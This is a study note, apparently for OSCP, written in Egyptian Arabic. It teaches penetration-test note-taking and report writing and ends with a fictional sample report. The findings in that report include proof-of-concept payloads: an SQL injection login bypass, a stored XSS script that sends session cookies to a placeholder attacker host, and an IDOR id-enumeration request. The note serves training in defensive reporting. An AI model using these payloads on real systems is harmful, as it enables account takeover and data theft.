Module 3: كتابة التقارير لمختبري الاختراق (Report Writing for Penetration Testers)

الموديول ده مصمَّم عشان يساعد مختبري الاختراق يفهموا إزاي يسلّموا تقارير فعّالة لعملائهم. مقسَّم لوحدتين تعليميتين: فهم تدوين الملاحظات، وكتابة تقارير اختبار اختراق تقنية فعّالة.

الوحدات التعليمية اللي الموديول ده بيغطيها:

1. Understanding Note-Taking – فهم تدوين الملاحظات
2. Writing Effective Technical Penetration Testing Reports – كتابة تقارير اختبار اختراق تقنية فعّالة

01فهم تدوين الملاحظات (Understanding Note-Taking)

أهداف الوحدة

مراجعة مُخرجات (deliverables) مهام اختبار الاختراق | فهم أهمية قابلية نقل الملاحظات (portability) | تحديد البنية العامة لتوثيق اختبار الاختراق | اختيار أداة تدوين الملاحظات المناسبة | فهم أهمية التقاط لقطات الشاشة | استخدام أدوات لالتقاط لقطات الشاشة

ليه الملاحظات أهم من القوالب الجاهزة

إجراء اختبار اختراق أو مهمة red team مش حاجة ممكن تتحدد بالكامل مقدمًا بسكريبت جاهز. السبب الأساسي إن المختبرين نادرًا ما يكون عندهم رؤية كاملة للأنظمة، البنية التحتية، أو إعدادات الشبكة اللي هيقابلوها أثناء التقييم. نتيجة لكده، المهمة غالبًا بتتطور بشكل مختلف عن التوقعات الأصلية.

رغم إن النتائج المحددة لتقييم معين مش ممكن نتوقعها مقدمًا، أساسي نحدد نطاق (scope) واضح أثناء النقاشات الأولية مع العميل. النطاق المحدَّد بوضوح بيساعد نحدد الأصول التجارية الحرجة ويضمن إن الأهداف عالية القيمة تاخد الاهتمام المناسب، خاصةً في البيئات الكبيرة والمعقَّدة.

رغم إن اختبارات الاختراق عادةً بتتبع منهجية منظَّمة، المهام الواقعية غالبًا بتنحرف عن الخطة الأصلية بمجرد ما الاختبار يبدأ. البيئة العملية غالبًا بتختلف عن الافتراضات النظرية، محتاجة مرونة وتكيّف.

لهذا السبب، الاعتماد على قوالب تقارير مُعبّأة مسبقًا غير فعّال عمومًا. ده صحيح بشكل خاص في المهام اللي بتُنفَّذ بإفصاح مسبق محدود، زي تمارين red team المصمَّمة لمحاكاة سلوك خصم واقعي وممكن تفاجئ فرق الدفاع.

بدل تحضير تقرير نهائي مقدمًا، التقييم بيتنفّذ أولًا، مع توثيق تفصيلي بيتسجّل طول العملية. الحفاظ على ملاحظات شاملة بيضمن:

• إمكانية إعادة إنتاج إجراءات الاختبار للتحقق من وجود ثغرة فعلًا
• إمكانية إعادة التقييم بعد العلاج للتأكد إن الإجراءات التصحيحية نجحت
• في حالة عطل في النظام أثناء المهمة، العميل والمختبر الاتنين يقدروا يراجعوا سجل النشاط عشان يحددوا إذا كانت أنشطة الاختبار ساهمت في المشكلة

Rules of Engagement (RoE)

أساسي كمان إننا نحدد بوضوح قواعد الاشتباك (Rules of Engagement - RoE) قبل بدء أي نشاط اختبار. القواعد دي بتحدد الحدود والأفعال المسموحة أثناء المهمة.

في عمليات red team، غالبًا بيتعين دور إشراف مخصَّص لمراقبة الامتثال للقيود المتفق عليها. العملاء ممكن يفرضوا قيود محددة، زي منع محاولات denial-of-service أو تقييد تقنيات الـ social engineering.

في بعض الحالات، التقييم ممكن كمان يكون مدفوع بمتطلبات تنظيمية أو امتثال، محتاج الالتزام بإطار أو معيار معترَف بيه، زي OWASP Penetration Testing Execution Standard.

كل القيود والتوقعات المنهجية لازم تتفق عليها صراحةً قبل بدء المهمة لضمان الشفافية والاحترافية.

قابلية نقل الملاحظات (Note Portability)

قابلية نقل توثيق اختبار الاختراق بتشير لقدرتنا ننقل ونشارك السجلات دي مع أعضاء الفريق التانيين بفعالية. إنشاء ملاحظات واضحة، منظَّمة بشكل جيد، ومباشرة جانب أساسي من التوثيق السليم.

ده بيضمن إن المعلومة مش بس مفيدة للمختبر الأصلي، لكن كمان ممكن تُفهم وتُستخدم بسهولة من الآخرين. الملاحظات المكتوبة كويس كمان ممكن تتحول بكفاءة لأقسام في تقرير تقني رسمي وقت الحاجة.

قابلية النقل بتبقى حرجة بشكل خاص لو مختبر الاختراق مش قادر يكمّل الشغل على مهمة بسبب مشاكل صحية أو ظروف غير متوقَّعة. في المواقف دي، التوثيق الشامل والموحَّد بيسمح لعضو فريق تاني ياخد المهمة بسلاسة من غير ما يفقد السياق.

لفرق الأمان الأكبر، إرساء نهج توثيق متسق أساسي. لما الجميع بيتبع منهجية تدوين ملاحظات مشتركة، أعضاء الفريق يقدروا يراجعوا، يفهموا، ويكملوا شغل بعض بسرعة من غير ارتباك.

البنية العامة لملاحظات اختبار الاختراق

تدوين الملاحظات الفعّال أثناء اختبار الاختراق محتاج نهج منهجي ومنظَّم بيوازن بين الوضوح والإيجاز. مفيش صيغة عالمية مثالية تناسب كل سيناريو، لكن فيه مبادئ توجيهية ممكن تحسّن جودة وفائدة سجلات الاختبار بشكل كبير.

بدل ما نكتب تذكيرات غامضة ونفترض إننا هنتذكر الخطوات بالظبط بعدين، المفروض نوثّق أفعالنا بتفاصيل دقيقة. كل أمر اتنفّذ، كل تغيير إعداد اتعمل، كل جزء كود اتعدّل، وحتى التفاعلات جوه الواجهات الرسومية — كلها لازم تتسجّل.

الهدف هو إعادة الإنتاج الكاملة (full reproducibility). لو مراجعة ملاحظاتنا في مرحلة لاحقة مكّنتناش من إعادة بناء إيه اللي حصل بوضوح، يبقى التوثيق فشل في غرضه.

النهج Top-Down

استراتيجية توثيق عملية ومرنة هي اتباع بنية top-down: ابدأ بمعلومات عالية المستوى عن المهمة أو حالة الاختبار، وبعدين ضيّق التركيز تدريجيًا بإضافة عمق تقني. النهج الطبقي ده بيضمن إن الملاحظات تفضل قابلة للقراءة مع احتوائها تفاصيل كافية لإعادة بناء التسلسل الدقيق للأحداث.

مثال: توثيق ثغرة ويب مكتشَفة

اختيار أداة تدوين الملاحظات الصح

النهارده فيه مدى واسع من تطبيقات تدوين الملاحظات المتاحة، سواء مفتوحة المصدر أو تجارية. اختيار الأداة الأنسب لمهمة معينة محتاج تقييم الاحتياجات العملية للتقييم. مثلًا، في مواقف كتير، الأفضلية إننا نخزّن كل التوثيق محليًا بدل مزامنة البيانات لخدمات cloud، وده فورًا بيستبعد بعض المنصات من الاعتبار.

القدرات الأساسية اللي لازم تتحط في الأولوية:

• Screenshot Support – لو المهمة محتاجة التقاط لقطات شاشة كتيرة كدليل، الأداة لازم تسمح بتضمين الصور مباشرة جوه الملاحظات
• Code Formatting – أقسام كود منسَّقة كويس بتحسّن الوضوح وتقلل سوء الفهم — الـ syntax-aware formatting بيعزّز سهولة القراءة بشكل كبير
• Cross-Platform Compatibility – القدرة على استخدام الأداة عبر أنظمة تشغيل مختلفة — أو نقل الملاحظات بينهم بسهولة
• Organized File Structure – المهام اللي بتشمل نطاقات، hosts، أو تطبيقات متعددة بتتطلب هيكل منطقي واضح

مقارنة أدوات تدوين الملاحظات

التقاط لقطات الشاشة (Screenshots)

لقطات الشاشة بتلعب دور حرج في كل من التوثيق والتقرير الرسمي أثناء اختبار الاختراق. صورة جيدة التحضير تقدر توصّل ثغرة فورًا، وغالبًا بشكل أفعل من فقرات شرح كتيرة. مهمة بشكل خاص لما بنقدّم نتائج كثيفة تقنيًا، حيث الإثبات البصري بيبسّط المفاهيم المعقَّدة.

الدليل البصري غالبًا أكتر إقناعًا من الوصف الكتابي لوحده. مثلًا، عرض تنبيه متصفح اتحفّز بـ XSS payload بيوضّح بشكل واضح تنفيذ JavaScript ناجح بطريقة الكلمات ممكن تفشل توصيلها.

لكن مش كل سيناريو تقني الأفضل تمثيله بصريًا — ثغرات زي buffer overflows ممكن تحتاج شرح نصي أو لوجات عشان توصّل بدقة إيه اللي حصل.

لقطات الشاشة لها غرضان أساسيان: تعزيز الملاحظات الداخلية، وتقوية تقرير العميل النهائي. لازم دايمًا تكون مصحوبة بشرح نصي موجز، لأن اللي بيبان واضح لمتخصص أمان ممكن مايبقاش واضح فورًا لمطوّر أو صاحب مصلحة مش مألوف بالثغرة.

مبادئ اللقطة الفعّالة: يجب أن تكون مفهومة فورًا | القارئ يقدر يفسّر الصورة والتعليق بدون غموض | البساطة والتركيز مفتاح أساسي | ركّز على مفهوم واحد فقط — تضمين نقاط متعددة غير مرتبطة في صورة واحدة بيقلل الوضوح | العنصر المحوري المفروض يكون في المنتصف ومؤطَّر بشكل سليم | التعليقات (captions) لازم تفضل موجزة

أدوات التقاط لقطات الشاشة حسب نظام التشغيل

02كتابة تقارير اختبار اختراق تقنية فعّالة

أهداف الوحدة

تحديد الغرض من التقرير التقني | فهم إزاي نخصّص المحتوى | بناء Executive Summary | مراعاة اعتبارات بيئة الاختبار المحددة | إنشاء ملخّص تقني | وصف النتائج التقنية والتوصيات | التعرّف على متى نستخدم الملاحق، معلومات إضافية، والمراجع

الغرض من التقرير التقني

كمقدّمين لخدمات اختبار الاختراق، هدفنا هو تقديم قيمة حقيقية لعملائنا. الوسيلة الأساسية لتوصيل القيمة دي هي التقرير النهائي. هو النتيجة الملموسة للمهمة والمستند اللي بيمكّن العميل من اتخاذ قرارات مدروسة.

اكتشاف ثغرات كتيرة مالوش فايدة عملية كبيرة لو النتائج دي ما اتوصّلتش بوضوح مع إرشادات علاج عملية. من غير توصيات قابلة للتنفيذ، العميل مش هيقدر يترجم النتائج التقنية لتحسينات تجارية.

عشان نكتب تقرير فعّال، لازم نفهم حاجتين أساسيتين:

1. الهدف من التقرير
2. إزاي نقدّم المعلومات المجمَّعة بصيغة مناسبة للجمهور المستهدف

كتير من المؤسسات بتفترض بشكل خاطئ إنها بتدفع بس لـ "ethical hacker" يحاكي هجمات ضد أنظمتها. رغم إن الاستغلال المتحكَّم فيه جزء من العملية، ده مش الغرض النهائي. فعليًا، بعض المؤسسات بتفضّل أقل اضطراب واستغلال فعّال محدود.

الهدف الحقيقي لمهمة اختبار الاختراق هو توفير الوضوح — إبراز نقاط الضعف الموجودة جوه النطاق المتفق عليه، توضيح الإجراءات التصحيحية الفورية، وتقديم توصيات استراتيجية لمنع تكرارها.

لمعظم العملاء، تقرير اختبار الاختراق هو أهم مُخرج واحد. هو خارطة الطريق اللي بتترجم النتائج التقنية لتحسينات تشغيلية واستراتيجية.

لما ملقناش ثغرات في منطقة معينة: عادةً مش محتاجين تفاصيل تقنية مفرطة. بيان موجز بيأكّد إن مفيش مشاكل اتحددت عادةً كافي. تحميل التقرير بوصف معقّد لمحاولات غير ناجحة ممكن يشتّت عن النتائج الحقيقية ويضعف تأثيرها — لكن أسلوب التقرير دايمًا المفروض يراعي توقعات العميل، لأن بعض المؤسسات بتفضّل توثيق تقني شامل حتى للنتائج السلبية.

فهم الجمهور وأولويات المخاطر

فهم الجمهور حرج. العملاء خبراء في مجالهم وغالبًا بيعملوا تحت أطر تنظيمية محددة. بيتوقعوا إن التقييم يعكس وعي بمخاطر صناعتهم المحددة. ده محتاج فهم لأولويات المؤسسة التشغيلية وأهدافها التجارية. الـ Rules of Engagement المحدَّدة بوضوح قيّمة هنا، لأنها غالبًا بتكشف إيه اللي العميل بيعتبره الأكتر حساسية أو حرجًا.

كل الثغرات المحددة لازم تتوثّق، لكن اهتمام خاص لازم يتحط على اللي بتأثر على الامتثال التنظيمي أو الوظائف التشغيلية الأساسية. مثلًا، مؤسسات الرعاية الصحية ممكن تهتم بامتثال HIPAA، بينما المؤسسات المالية لازم تلتزم بمعايير PCI.

مثال موضّح: تخيل مهمتين افتراضيتين — واحدة مع مستشفى والتانية مع بنك. تقنيًا، البيئتين ممكن تظهروا ثغرات مشابهة بنفس درجات الخطورة. لكن ترتيب أولوية المخاطر ممكن يختلف بشكل كبير.

في بيئة المستشفى، الحفاظ على uptime للأنظمة الطبية أمر بالغ الأهمية — توصيات العلاج ممكن تركّز على تقسيم الشبكة أو العزل بدل الـ patching الفوري، إدراكًا للواقع التشغيلي.

في بيئة البنك، سيرفر غير مرقَّع ممكن يمثّل مسار مباشر لأنظمة مالية حساسة — ده ممكن يمثّل مشكلة حرجة تتطلب علاج عاجل.

السياق كمان بيأثر على تقييم الخطر: نقل بيانات اعتماد الدخول عبر HTTP غير مشفّر غير آمن جوهريًا. لو مكشوف على الإنترنت العام، ده بيشكّل ثغرة شديدة؛ جوه شبكة داخلية مقيَّدة، الخطر — رغم وجوده — ممكن يكون أقل نسبيًا بسبب حواجز إضافية للاستغلال.

مسؤولية كاتب التقرير هي تقديم النتائج بموضوعية، دقة، وبطريقة تمكّن من اتخاذ فعل — التقرير المفروض يركّز على التأثير العملي والعلاج من غير ما الآراء الشخصية أو الافتراضات تشوّه التقييم.

تخصيص المحتوى (Tailor the Content)

تقرير اختبار الاختراق المفروض يُكتب بطريقة بتستوعب قراء بمستويات خبرة تقنية مختلفة. المستند ممكن يراجعه مديرين تنفيذيين، قيادة أمنية، وفرق تقنية عملية. لازم يحقق توازن بين الوضوح عالي المستوى والدقة التقنية العميقة.

الجمهور الأول: الإدارة العليا

المجموعة دي غالبًا مسؤولة عن الموافقة على المهمة وتقييم العائد على الاستثمار (ROI). ممكن تشمل تنفيذيين زي CISO، CSO، CIO، أو CFO، وكمان مديري IT أو أمان. أصحاب المصلحة دول مهتمين أساسًا بالتأثير التجاري، التعرّض للمخاطر، والآثار الاستراتيجية — مش تفاصيل التنفيذ التقني.

الجمهور الثاني: الفرق التقنية المسؤولة عن العلاج

ده بيشمل مهندسي أمان، مسؤولي أنظمة، مطورين، وموظفي عمليات IT. عكس القراء التنفيذيين، المجموعة دي محتاجة شروحات مفصَّلة — معلومات تقنية دقيقة بتوصّف إزاي كل ثغرة اتحددت، الظروف المطلوبة للاستغلال، التأثير المرتبط، والخطوات الدقيقة للعلاج.

أبعد من الإصلاحات الفورية، الفرق التقنية كمان بتستفيد من إرشاد موجَّه للتحسين طويل المدى — تغييرات معمارية، أفضل ممارسات الإعداد، تحسينات إدارة الـ patches، أو استراتيجيات تطوير آمن.

الملخّص التنفيذي (Executive Summary)

التقرير المفروض يبدأ بـ Executive Summary. القسم ده بيسمح لأصحاب المصلحة الكبار يفهموا بسرعة أهداف، تغطية، ونتائج التقييم عشان يقدروا يقيّموا قيمته التجارية ويعتمدوا إجراءات تصحيحية. المفروض يبدأ بنقاط موجزة عالية التأثير بتقدّم الصورة الكاملة، متبوعة بسرد تفصيلي أوسع.

العناصر الأساسية اللي الـ Executive Summary لازم توثّقها:

1. النطاق (Scope) – نطاق متفق عليه رسميًا بيرسّخ حدود الاختبار ويوضّح إيه الأنظمة، التطبيقات، أو البيئات اللي اتضمّنت. لازم يُذكر بوضوح إيه اللي اتقيّم وهل أي مكونات اتستبعدت أو اتشالت أثناء المهمة
2. الجدول الزمني للاختبار – مدة المهمة، التواريخ المحددة، ولو منطبق، نافذة الاختبار اليومية
3. Rules of Engagement – الإشارة لها، بما فيها أي دور إشراف، الأنشطة المسموحة أو المقيَّدة، وأي إطار أو معيار استُخدم (OWASP، PCI DSS...إلخ)
4. البنية التحتية الداعمة واستخدام الحسابات – هل اتوفّرت اعتمادات اختبار أو كان التقييم black-box خارجي؛ عناوين IP المصدر المستخدَمة؛ أي حسابات اتعملت من فريق الاختبار

مثال بنية — تفاصيل تنفيذية عالية المستوى

Executive Summary (Key Facts Section):

Scope: https://example.com/login
Testing Period: January 3–5, 2022
Methodology: OWASP / PCI-aligned testing approach
Social engineering and DoS testing excluded
No test credentials provided (external black-box assessment)
All activity originated from 192.168.1.2

بعد تقديم التفاصيل الموجزة دي، التقرير المفروض ينتقل للسرد الموسَّع للـ Executive Summary. القسم ده بيوفّر نظرة استراتيجية عامة على المهمة، بيلخّص أهم النتائج، وبيوصّل التعرّض الكلي للمخاطر.

لازم الحرص على عدم المبالغة أو التقليل من النتائج. الهدف تقديم تمثيل واقعي لوضع المؤسسة الأمني. مثلًا، ثغرة SQL injection بتعرّض بيانات بطاقات دفع ليها تأثير تجاري مختلف تمامًا عن تجاوز توثيق يأثر على معلومات عامة متاحة.

الأنماط الملحوظة (Observed Patterns)

التنفيذيين مش محتاجين شروحات تقنية مفصَّلة في القسم ده — دي هتظهر لاحقًا في التقرير. لكن تلخيص نقاط الضعف المتكررة يقدر يوفّر رؤية استراتيجية قيّمة.

لتحديد الاتجاهات، الثغرات لازم تتجمّع حسب الفئة. نتائج متعددة في نفس الفئة غالبًا بتشير لنقاط ضعف منهجية. مثلًا، وجود stored وreflected XSS، SQL injection، وثغرات رفع ملفات غير مقيَّد مع بعض ممكن يشير بشكل جماعي لممارسات تحقق مدخل غير كافية عبر التطبيق. المشاكل المنهجية دي محتاجة علاج على مستوى العملية مش إصلاحات معزولة — في السياق ده، التوصية بتدريب تطوير آمن أو معايير برمجة محسَّنة مناسبة.

الاعتراف بنقاط القوة

مهم بنفس القدر إننا نعترف بالمناطق اللي العميل أظهر فيها ممارسات أمان قوية. رغم إن الإدارة ممكن ترعى المهمة، التعاون عادةً بيحصل مع الفرق التقنية. الاعتراف بضوابط فعّالة — زي سياسات باسورد قوية، آليات قفل الحساب، أو إعدادات مقوّاة — بيساعد يحافظ على علاقات بنّاءة ويعزّز سلوكيات أمان إيجابية.

الحذر في اللغة: تجنّب عبارات مطلقة زي "كان مستحيل استغلاله." المهام بتشتغل جوه حدود وقت وموارد، والاستنتاجات المفروض تعكس إن الاختبار ما حددش نقطة ضعف، مش ادّعاء غياب قطعي.

مناقشة النتائج الأساسية

بعد الاعتراف بنقاط القوة، الـ Executive Summary المفروض تقدّم مناقشة متوازنة للثغرات الأساسية. مثلًا، لو التقييم كشف XSS مدمج مع تعداد أسماء مستخدمين (username enumeration)، السرد ممكن يشرح إزاي التحقق الناقص من المدخل ومعالجة أخطاء مُفصَّلة بتزود احتمالية سرقة اعتمادات أو اختطاف جلسة.

التوصيات المفروض تركّز على إجراءات تصحيحية أوسع، زي تنفيذ تحقق مدخل مركزي وتوحيد رسائل خطأ عامة.

الـ Executive Summary المفروض تختم ببيان ختامي موجز بيوجّه القراء للأقسام التقنية التفصيلية اللي جاية.

اعتبارات بيئة الاختبار (Testing Environment Considerations)

القسم الأول من التقرير الكامل المفروض يغطّي أي عوامل أثّرت على عملية الاختبار. القسم ده عادةً قصير لكن مهم للشفافية. أخطاء، تأخيرات، أو ظروف مخفّفة تانية المفروض تتوثّق عشان العميل يفهم أي قيود، وعشان المهام المستقبلية تتحسّن.

مش كل المشاكل الصغيرة محتاجة إبراز، لكن التقرير الاحترافي بيتطلب الإفصاح عن الظروف اللي ممكن تأثر على النتائج.

الملاحق، معلومات إضافية، والمراجع

الملاحق (Appendices) للمواد المفصَّلة أو الطويلة زيادة عن المناسب للتقرير الرئيسي، بما فيها:

1. قوائم كاملة للمستخدمين المخترَقين أو النقاط النهائية المتأثرة
2. كتل كود PoC كبيرة
3. منهجية مفصَّلة أو مستندات تقنية موسَّعة

قسم المعلومات الإضافية (Further Information) ممكن يشمل:

1. مقالات أو مراجع بتشرح الثغرات بعمق
2. معايير أو أفضل ممارسات ذات صلة بالعلاج
3. طرق استغلال بديلة (لو مفيدة)

قسم المراجع (References) المفروض يستخدم مصادر موثوقة واستشهادات سليمة لتوفير مصداقية وسياق إضافي.

03نموذج تطبيقي: تقرير اختبار اختراق كامل (Full Sample Pentest Report)

القسم ده مثال تطبيقي كامل بيجسّد كل المبادئ اللي اتغطّت في LU1 وLU2 — بنية التقرير، الـ Executive Summary، تخصيص المحتوى حسب الجمهور، وتوثيق النتائج التقنية بالصيغة الصحيحة. السيناريو افتراضي بالكامل (ExampleCorp)، لكن مبني بنفس التفاصيل اللي اتعرضت كمثال في LU2 (النطاق، الفترة الزمنية، والـ IP المصدر).

صفحة الغلاف وضبط المستند (Document Control)

الاستثناءات المتفق عليها في RoE: اختبارات الـ Social Engineering وDenial-of-Service مستبعَدة صراحةً من نطاق المهمة دي.

الملخّص التنفيذي (Executive Summary)

نقاط أساسية (Key Facts):

Scope: https://example.com/login (+ authenticated application paths)
Testing Period: January 3–5, 2022
Methodology: OWASP / PCI-aligned testing approach
Social engineering and DoS testing excluded
No test credentials provided (external black-box assessment)
All activity originated from 192.168.1.2

السرد التنفيذي:

خلال فترة الاختبار، حدد فريق التقييم 7 نتائج، منها نتيجتين بخطورة عالية (High) وواحدة حرجة (Critical). الثغرة الحرجة — SQL Injection في نموذج تسجيل الدخول — بتسمح لمهاجم غير موثّق بتجاوز المصادقة بالكامل والوصول المباشر لقاعدة بيانات العملاء، بما فيها بيانات شخصية وتفاصيل فواتير. النتيجة دي تمثّل أعلى أولوية للعلاج الفوري.

بالإضافة لكده، تحديد ثغرة Stored XSS في حقل الاسم المعروض بالملف الشخصي وثغرة IDOR في نقطة تحميل الفواتير بيوضّحوا نمط متكرر: عدم كفاية التحقق من المدخلات والتفويض على مستوى الكائن (object-level authorization) عبر طبقات التطبيق المختلفة. النمط ده بيشير لمشكلة منهجية في دورة تطوير التطبيق أكتر من كونها أخطاء معزولة، وبيستدعي مراجعة لممارسات البرمجة الآمنة بدل إصلاحات نقطية فقط.

من الجانب الإيجابي، فريق التقييم لاحظ تطبيق سياسة باسورد قوية نسبيًا وتفعيل قفل الحساب بعد محاولات فاشلة متكررة على مستوى منفصل من endpoint تسجيل الدخول الرئيسي — دليل على اهتمام قائم بالتحكم في الوصول رغم الثغرات المكتشَفة.

التقرير التفصيلي التالي بيوثّق كل نتيجة بدليلها التقني الكامل وتوصيات العلاج المرتبطة بيها.

اعتبارات بيئة الاختبار (Testing Environment Considerations)

تم تمديد نافذة الاختبار بيوم واحد إضافي (من يومين لثلاثة) بالاتفاق مع العميل، بسبب اكتشاف عدد من النتائج المحتملة ذات الأولوية العالية احتاجت وقت تحقق إضافي لتأكيد الاستغلال وتوثيقه بدقة. التأخير اتفق عليه رسميًا مع نقطة الاتصال التقنية للعميل ومفيش تأثير على باقي النطاق.

ملخّص النتائج (Findings Summary)

مصفوفة المخاطر (Risk = Likelihood × Impact)

النتائج التقنية التفصيلية (Technical Findings)

F1 — SQL Injection في نموذج تسجيل الدخول

الوصف: حقل username في نموذج تسجيل الدخول بيتمرّر مباشرة لاستعلام SQL من غير parameterization أو تنقية. ده بيسمح لمهاجم غير موثّق يتجاوز المصادقة بالكامل.

PoC Payload:

POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin'-- -&password=anything

النتيجة: الاستعلام الخلفي بيتحول فعليًا لـ:

SELECT * FROM users WHERE username = 'admin'-- -' AND password = 'anything'

الجزء بعد -- بيتحوّل لتعليق، وده بيلغي فحص الباسورد تمامًا — السيرفر رجّع كود 302 Found وجلسة مصادَقة صالحة لحساب admin من غير ما الباسورد الصحيح يتطلب.

الأثر (Impact): تجاوز مصادقة كامل، وصول مباشر لجدول المستخدمين، احتمالية استخراج بيانات العملاء بالكامل عبر تقنيات Blind/Union-based SQLi إضافية.

التوصية: استخدام parameterized queries / prepared statements بشكل حصري لكل تفاعل مع قاعدة البيانات. تفعيل WAF كطبقة دفاع إضافية (مش بديل عن الإصلاح الجذري). إجراء مراجعة كود شاملة لكل نقاط الإدخال المشابهة في التطبيق.

F2 — Stored XSS في حقل الاسم المعروض بالملف الشخصي

الوصف: حقل display_name بيتخزّن ويتعرض لاحقًا في لوحة التحكم ولصفحات العملاء التانيين (مثل قوائم الفريق) من غير تنقية أو encoding عند العرض.

PoC Payload:

<script>fetch('https://attacker-server.example/c?c='+document.cookie)</script>

خطوات إعادة الإنتاج: 1. سجّل دخول كمستخدم عادي، روح لـ /profile/update 2. حدّث display_name بالـ payload أعلاه 3. أي مستخدم تاني (بما فيهم admins) بيشوف صفحة فيها الاسم ده → السكربت بيتنفّذ في سياق متصفحهم

الأثر: سرقة كوكيز الجلسة، اختطاف حسابات مستخدمين آخرين (بما فيهم مستخدمين إداريين لو شافوا الصفحة المتأثرة)، تنفيذ أفعال نيابة عن الضحية.

التوصية: تطبيق output encoding مناسب للسياق (HTML entity encoding) في كل نقاط العرض. تفعيل Content-Security-Policy صارمة كطبقة دفاع ثانية. التحقق من المدخل من ناحية الطول والأحرف المسموحة.

F3 — IDOR في نقطة تحميل الفواتير

الوصف: نقطة تحميل الفواتير بتسترجع المستند بناءً على id رقمي تسلسلي من غير التحقق من إن المستخدم الحالي فعلًا يملك الفاتورة دي.

PoC:

GET /invoices/download?id=1042 HTTP/1.1
Host: example.com
Cookie: session=<attacker_valid_session>

بتغيير قيمة id تدريجيًا (1041، 1043، 1044...)، المختبر قدر يحمّل فواتير تخص حسابات عملاء تانيين تمامًا — شاملة أسماء، عناوين، وتفاصيل دفع جزئية.

الأثر: تسريب بيانات حساسة لعملاء آخرين، انتهاك مباشر لمتطلبات PCI DSS الخاصة بحماية بيانات حامل البطاقة.

التوصية: فرض فحص تفويض على مستوى الكائن (object-level authorization check) في السيرفر لكل طلب — التأكد إن invoice.owner_id == current_user.id قبل تسليم أي مستند. استبدال المعرّفات التسلسلية بـ UUIDs غير قابلة للتخمين كطبقة دفاع إضافية.

F4 — غياب Rate Limiting على نقطة تسجيل الدخول

الوصف: نقطة تسجيل الدخول بتقبل عدد غير محدود من المحاولات المتتالية من غير أي حد زمني أو CAPTCHA، رغم وجود قفل حساب بعد محاولات فاشلة (ملاحظة إيجابية منفصلة — راجع السرد التنفيذي).

الدليل: إرسال 500 طلب تسجيل دخول متتالي من نفس الـ IP خلال دقيقتين — كل الطلبات اتقبلت واتعالجت من غير حظر أو تأخير ملحوظ.

الأثر: يسهّل هجمات credential stuffing وbrute-force ضد حسابات مش محمية بقفل الحساب، أو ضد آلية القفل نفسها عبر توزيع المحاولات على حسابات متعددة.

التوصية: فرض rate limiting على مستوى الـ IP وmستوى الحساب (مثلًا: 5 محاولات لكل 15 دقيقة)، مع تطبيق تأخير تصاعدي (exponential backoff) وCAPTCHA بعد عتبة معينة.

F5 — إعداد TLS ضعيف (دعم بروتوكولات قديمة)

الوصف: السيرفر لسه بيقبل اتصالات بـ TLS 1.0 وTLS 1.1، البروتوكولين دول معروفين بضعفهم وتم التوصية رسميًا بإيقافهم (deprecated) من قِبل IETF منذ 2021.

الدليل:

$ nmap --script ssl-enum-ciphers -p 443 example.com
TLSv1.0: supported (weak)
TLSv1.1: supported (weak)
TLSv1.2: supported
TLSv1.3: supported

الأثر: عرضة لهجمات downgrade وثغرات معروفة زي BEAST وPOODLE في بيئات معينة، وانتهاك محتمل لمتطلبات PCI DSS اللي بتفرض تعطيل TLS أقل من 1.2.

التوصية: تعطيل TLS 1.0 و1.1 بالكامل على مستوى إعدادات السيرفر/load balancer، والإبقاء على TLS 1.2 و1.3 فقط.

F6 — كشف معلومات عبر رسائل خطأ مُفصَّلة

الوصف: إرسال معرّف طلب غير صالح أو غير موجود بيرجّع stack trace كامل بيكشف مسار الملفات الداخلي، إصدار الـ framework، وبنية قاعدة البيانات.

الدليل:

GET /api/v1/orders/999999999 HTTP/1.1
Host: example.com

HTTP/1.1 500 Internal Server Error
{
  "error": "ORA-00942: table or view does not exist",
  "trace": "at com.examplecorp.orders.OrderService.fetch(OrderService.java:142)...",
  "path": "/var/www/app/src/main/java/..."
}

الأثر: المعلومات دي بتساعد مهاجم يرسم خريطة البنية التحتية الداخلية ويحدد تقنيات مستهدَفة لهجمات لاحقة أدق.

التوصية: تفعيل معالجة أخطاء عامة (generic error handling) في بيئة الإنتاج — رسائل خطأ عامة للمستخدم، مع تسجيل التفاصيل الكاملة داخليًا فقط عبر نظام الـ logging.

F7 — غياب رؤوس أمان HTTP أساسية

الوصف: النطاق بيفتقر لرؤوس أمان موصى بيها معياريًا: Content-Security-Policy، X-Frame-Options، Strict-Transport-Security، وX-Content-Type-Options.

الأثر: بيزود سطح الهجوم لثغرات تانية (زي clickjacking عند غياب X-Frame-Options، أو تضخيم أثر XSS عند غياب CSP)، رغم إنها مش ثغرة مستقلة بذاتها.

التوصية: إضافة الرؤوس دي على مستوى السيرفر أو الـ reverse proxy كخطوة منخفضة التكلفة وعالية القيمة الدفاعية.

الملاحق (Appendices)

ملحق أ — قائمة كاملة بنقاط النهاية (Endpoints) اللي تمت مراجعتها:

/login
/register
/profile/update
/invoices/download
/api/v1/orders
/api/v1/users/me
/dashboard
/settings/security

ملحق ب — الأدوات المستخدَمة أثناء التقييم:

Burp Suite Professional (اعتراض وتعديل الطلبات) | sqlmap (التحقق من SQL Injection) | nmap + ssl-enum-ciphers (فحص إعدادات TLS) | OWASP ZAP (فحص آلي تكميلي) | أدوات مخصَّصة (سكربتات Python لاختبار IDOR بشكل منهجي عبر نطاق الـ IDs)

ملحق ج — مراجع:

• OWASP Top 10 (2021) — owasp.org/Top10
• OWASP Testing Guide (WSTG)
• CWE-89: SQL Injection — cwe.mitre.org/data/definitions/89.html
• PCI DSS v4.0 Requirement 4 (التشفير أثناء النقل)

ملاحظة ختامية: التقرير ده مثال تدريبي بالكامل — الأسماء، النطاقات، وبيانات الاعتماد كلها وهمية ومُستخدَمة لأغراض تعليمية فقط. الصيغة والبنية بس هي اللي المفروض تاخدها كمرجع لتقاريرك الحقيقية.

نهاية نوتس الموديول الثالث — OSCP: Report Writing for Penetration Testers